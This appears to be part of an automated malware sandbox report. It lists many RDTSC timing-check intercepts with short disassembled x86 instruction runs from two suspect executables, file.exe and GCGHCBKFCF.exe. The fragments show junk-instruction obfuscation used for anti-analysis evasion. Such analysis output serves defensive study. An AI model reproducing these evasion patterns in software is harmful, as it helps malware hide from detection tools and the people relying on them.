Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560687 second address: 55606B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 and dword ptr [ebp-04h], 00000000h 0x0000000c jmp 00007FC14C6D0A38h 0x00000011 mov edx, dword ptr [ebp+0Ch] 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ax, di 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55606B5 second address: 55606FD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14CF3D6E2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b pushad 0x0000000c call 00007FC14CF3D6DEh 0x00000011 mov dx, si 0x00000014 pop eax 0x00000015 mov dx, 9D62h 0x00000019 popad 0x0000001a mov al, byte ptr [edx] 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007FC14CF3D6E4h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55606FD second address: 55606FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx ecx, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edx 0x0000000a jmp 00007FC14C6D0A2Fh 0x0000000f test al, al 0x00000011 jmp 00007FC14C6D0A36h 0x00000016 jne 00007FC14C6D09D7h 0x0000001c mov al, byte ptr [edx] 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FC14C6D0A34h 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560768 second address: 556077E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC14CF3D6E1h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556077E second address: 55607A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov edi, dword ptr [ebp+08h] 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ecx, ebx 0x0000000f jmp 00007FC14C6D0A35h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55607A3 second address: 55607D5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14CF3D6E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 dec edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC14CF3D6E8h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55607D5 second address: 55607E4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55607E4 second address: 55607EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55607EA second address: 55607EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55607EE second address: 556084A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 lea ebx, dword ptr [edi+01h] 0x0000000b jmp 00007FC14CF3D6E7h 0x00000010 mov al, byte ptr [edi+01h] 0x00000013 jmp 00007FC14CF3D6E6h 0x00000018 inc edi 0x00000019 jmp 00007FC14CF3D6E0h 0x0000001e test al, al 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FC14CF3D6DAh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556084A second address: 5560859 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560859 second address: 5560871 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC14CF3D6E4h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560871 second address: 5560875 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560875 second address: 5560889 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007FC1BD2F58D8h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560889 second address: 556088D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 556088D second address: 5560893 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560893 second address: 5560899 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560899 second address: 55608B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FC14CF3D6DBh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55608B2 second address: 55608CF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14C6D0A39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55608CF second address: 55608EF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14CF3D6E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 shr ecx, 02h 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f mov ecx, 6B6E7CF9h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55608EF second address: 5560931 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FC14C6D0A36h 0x00000008 adc ch, 00000008h 0x0000000b jmp 00007FC14C6D0A2Bh 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov edi, eax 0x00000015 popad 0x00000016 rep movsd 0x00000018 rep movsd 0x0000001a rep movsd 0x0000001c rep movsd 0x0000001e rep movsd 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007FC14C6D0A31h 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560931 second address: 5560937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560937 second address: 55609F6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ecx, edx 0x0000000a pushad 0x0000000b mov ebx, 6FB3D398h 0x00000010 jmp 00007FC14C6D0A31h 0x00000015 popad 0x00000016 and ecx, 03h 0x00000019 jmp 00007FC14C6D0A2Eh 0x0000001e rep movsb 0x00000020 jmp 00007FC14C6D0A30h 0x00000025 mov dword ptr [ebp-04h], FFFFFFFEh 0x0000002c pushad 0x0000002d mov dl, al 0x0000002f pushfd 0x00000030 jmp 00007FC14C6D0A33h 0x00000035 or si, 8E6Eh 0x0000003a jmp 00007FC14C6D0A39h 0x0000003f popfd 0x00000040 popad 0x00000041 mov eax, ebx 0x00000043 pushad 0x00000044 movzx esi, di 0x00000047 popad 0x00000048 mov ecx, dword ptr [ebp-10h] 0x0000004b jmp 00007FC14C6D0A32h 0x00000050 mov dword ptr fs:[00000000h], ecx 0x00000057 push eax 0x00000058 push edx 0x00000059 jmp 00007FC14C6D0A37h 0x0000005e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 55609F6 second address: 5560A49 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FC14CF3D6DFh 0x00000009 add esi, 6F55068Eh 0x0000000f jmp 00007FC14CF3D6E9h 0x00000014 popfd 0x00000015 mov bl, cl 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a pop ecx 0x0000001b jmp 00007FC14CF3D6E3h 0x00000020 pop edi 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560A49 second address: 5560A4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560A4F second address: 5560614 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14CF3D6DAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007FC14CF3D6E0h 0x0000000f pop ebx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FC14CF3D6DEh 0x00000017 jmp 00007FC14CF3D6E5h 0x0000001c popfd 0x0000001d movzx ecx, bx 0x00000020 popad 0x00000021 leave 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FC14CF3D6E9h 0x00000029 sbb eax, 7B050D96h 0x0000002f jmp 00007FC14CF3D6E1h 0x00000034 popfd 0x00000035 push ecx 0x00000036 movsx ebx, si 0x00000039 pop eax 0x0000003a popad 0x0000003b retn 0008h 0x0000003e cmp dword ptr [ebp-2Ch], 10h 0x00000042 mov eax, dword ptr [ebp-40h] 0x00000045 jnc 00007FC14CF3D6D5h 0x00000047 push eax 0x00000048 lea edx, dword ptr [ebp-00000590h] 0x0000004e push edx 0x0000004f call esi 0x00000051 push 00000008h 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007FC14CF3D6DDh 0x0000005a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560BA3 second address: 5560BB3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC14C6D0A2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560BB3 second address: 5560BB7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5560BB7 second address: 5560BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esp 0x00000009 jmp 00007FC14C6D0A2Ch 0x0000000e mov dword ptr [esp], ebp 0x00000011 jmp 00007FC14C6D0A30h 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b movzx ecx, bx 0x0000001e rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C01943 second address: C01957 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push edx 0x00000006 jmp 00007FC14CF3D6DCh 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C01957 second address: C0195F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C0195F second address: C01972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 popad 0x00000009 push edx 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop edx 0x0000000d popad 0x0000000e push edi 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C01972 second address: C01976 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C01976 second address: C0197C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: BED0E1 second address: BED0E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: BED0E7 second address: BED0ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C009E4 second address: C009E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C009E8 second address: C00A22 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC14CF3D6E9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c je 00007FC14CF3D6D6h 0x00000012 jo 00007FC14CF3D6D6h 0x00000018 popad 0x00000019 push eax 0x0000001a push eax 0x0000001b pop eax 0x0000001c jno 00007FC14CF3D6D6h 0x00000022 pop eax 0x00000023 push esi 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C00B67 second address: C00B73 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnp 00007FC14C6D0A26h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C00B73 second address: C00B78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C00CEE second address: C00D25 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FC14C6D0A32h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edi 0x0000000c push edx 0x0000000d pop edx 0x0000000e pop edi 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push esi 0x00000016 pop esi 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FC14C6D0A30h 0x0000001f rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C00D25 second address: C00D31 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC14CF3D6D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C00D31 second address: C00D36 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C00D36 second address: C00D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C00D41 second address: C00D45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C0100D second address: C0101E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jnc 00007FC14CF3D6D6h 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C0101E second address: C0102D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FC14C6D0A26h 0x0000000f rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C0102D second address: C01033 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C01033 second address: C01049 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 je 00007FC14C6D0A28h 0x0000000c jne 00007FC14C6D0A2Ch 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C011B3 second address: C011CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 push edx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 pushad 0x0000000a popad 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edx 0x0000000f pop edx 0x00000010 jmp 00007FC14CF3D6DAh 0x00000015 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C03EE4 second address: C03EE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C03EE8 second address: C03EEC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C03EEC second address: C03FCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnl 00007FC14C6D0A3Ah 0x0000000c jmp 00007FC14C6D0A34h 0x00000011 popad 0x00000012 mov dword ptr [esp], eax 0x00000015 js 00007FC14C6D0A29h 0x0000001b push 00000000h 0x0000001d mov di, 1E81h 0x00000021 push 3D8DFF63h 0x00000026 jmp 00007FC14C6D0A30h 0x0000002b xor dword ptr [esp], 3D8DFFE3h 0x00000032 sub dword ptr [ebp+122D1E69h], ebx 0x00000038 push 00000003h 0x0000003a push 00000000h 0x0000003c push ebx 0x0000003d call 00007FC14C6D0A28h 0x00000042 pop ebx 0x00000043 mov dword ptr [esp+04h], ebx 0x00000047 add dword ptr [esp+04h], 00000015h 0x0000004f inc ebx 0x00000050 push ebx 0x00000051 ret 0x00000052 pop ebx 0x00000053 ret 0x00000054 call 00007FC14C6D0A2Ch 0x00000059 jmp 00007FC14C6D0A2Dh 0x0000005e pop edx 0x0000005f push 00000000h 0x00000061 push 00000003h 0x00000063 call 00007FC14C6D0A37h 0x00000068 mov edi, dword ptr [ebp+122D38E4h] 0x0000006e pop edx 0x0000006f call 00007FC14C6D0A34h 0x00000074 xor edx, 4EEAFA62h 0x0000007a pop ecx 0x0000007b push 99B6C2E5h 0x00000080 jng 00007FC14C6D0A38h 0x00000086 push eax 0x00000087 push edx 0x00000088 jns 00007FC14C6D0A26h 0x0000008e rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C0415E second address: C04163 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C04163 second address: C04177 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC14C6D0A30h 0x00000009 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C04177 second address: C0417B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C0417B second address: C041DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push edi 0x0000000b jmp 00007FC14C6D0A35h 0x00000010 pop edi 0x00000011 pop edi 0x00000012 mov eax, dword ptr [esp+04h] 0x00000016 push eax 0x00000017 push eax 0x00000018 jmp 00007FC14C6D0A2Dh 0x0000001d pop eax 0x0000001e pop eax 0x0000001f mov eax, dword ptr [eax] 0x00000021 pushad 0x00000022 pushad 0x00000023 jns 00007FC14C6D0A26h 0x00000029 push ebx 0x0000002a pop ebx 0x0000002b popad 0x0000002c jmp 00007FC14C6D0A32h 0x00000031 popad 0x00000032 mov dword ptr [esp+04h], eax 0x00000036 push esi 0x00000037 push eax 0x00000038 push edx 0x00000039 push eax 0x0000003a push edx 0x0000003b rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C041DB second address: C041DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C041DF second address: C041FF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 pop eax 0x00000008 add dword ptr [ebp+124473BBh], edi 0x0000000e lea ebx, dword ptr [ebp+12448DF4h] 0x00000014 mov edx, dword ptr [ebp+122D3BC4h] 0x0000001a xchg eax, ebx 0x0000001b push esi 0x0000001c push eax 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C041FF second address: C04203 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C04203 second address: C0421C instructions: 0x00000000 rdtsc 0x00000002 jng 00007FC14C6D0A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b push eax 0x0000000c pushad 0x0000000d jnc 00007FC14C6D0A28h 0x00000013 push eax 0x00000014 push edx 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C0421C second address: C04220 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C04262 second address: C04266 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C04266 second address: C04283 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edi 0x00000007 nop 0x00000008 cmc 0x00000009 push 00000000h 0x0000000b and ch, FFFFFFC1h 0x0000000e push 3CACC62Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 jnp 00007FC14CF3D6D8h 0x0000001b pushad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C23C4B second address: C23C4F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C23C4F second address: C23C5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FC14CF3D6DCh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C241DD second address: C241E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C241E8 second address: C241EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C241EC second address: C241F6 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC14C6D0A26h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C24645 second address: C24649 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C24649 second address: C2469A instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC14C6D0A28h 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007FC14C6D0A2Ch 0x0000000f pop edx 0x00000010 pop eax 0x00000011 pushad 0x00000012 jmp 00007FC14C6D0A2Ah 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FC14C6D0A39h 0x0000001e jmp 00007FC14C6D0A33h 0x00000023 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C2469A second address: C2469E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C24804 second address: C24808 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C24973 second address: C24980 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jnl 00007FC14CF3D6D6h 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C24AF0 second address: C24B09 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FC14C6D0A33h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: C24B09 second address: C24B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: BFA893 second address: BFA89A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Documents\GCGHCBKFCF.exe	RDTSC instruction interceptor: First address: BFA89A second address: BFA89F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
